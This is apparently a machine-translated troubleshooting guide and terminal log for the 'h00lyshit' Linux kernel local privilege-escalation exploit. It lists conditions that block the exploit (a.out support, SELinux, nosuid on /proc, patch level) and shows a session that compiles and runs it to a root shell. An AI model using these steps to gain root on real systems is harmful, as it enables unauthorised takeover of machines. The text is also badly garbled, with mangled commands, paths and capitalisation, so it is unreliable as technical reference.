Guidance:
1. the kernel config_binfmt_aout option is set to N or the kernel does not support the. Out (ER er. Output) format, and the error failed: exec format error will occur.
Currently, distro's kernel is not supported by a. Out, such as the fedora kernel:
$ CAT/boot/config-2.6.14-1.1637_FC4 | grep aout
# Config_binfmt_aout is not set
2. When SELinux is enabled, the following error occurs: Failed: Permission denied.
$ Sestatus | grep SELinux & more/etc/SELinux/config | grep SELinux
SELinux status: Enabled
SELinux = Enabled
3. Added nosuid to/proc in/etc/fstab.
$ CAT/etc/fstab | grep proc
Proc/proc defaults, noexec, nosuid 0 0
4. patch or version mismatch
Linux Kernel $ uname-
Linux localhost. localdomain 2.6.13-42. elsmp #1 SMP Sat Aug 12 09:39:11 CDT 2006 i686 i686 i386 GNU/Linux
$ CAT/etc/fstab | grep proc
Proc/proc defaults 0 0
$ Sestatus | grep SELinux & more/etc/SELinux/config | grep SELinux
SELinux status: Disabled
SELinux = disabled
$ Grep config _ binfmt_aout/boot/config-2.6.13-42.EL
Config_binfmt_aout = y
$ Dd If =/dev/Zero of =/tmp/out. tmp BS = 1 m COUNT = 100
$ Du-SH/tmp/out. tmp
100 m/tmp/out. tmp
$ GCC h00lyshit. C-o h00lyshit
$ CAT/usr/lib/*>/dev/null 2>/dev/null
$./H00lyshit/tmp/out. tmp
Preparing
Trying to exploit out. tmp
# ID
Uid = 0 (Root)
#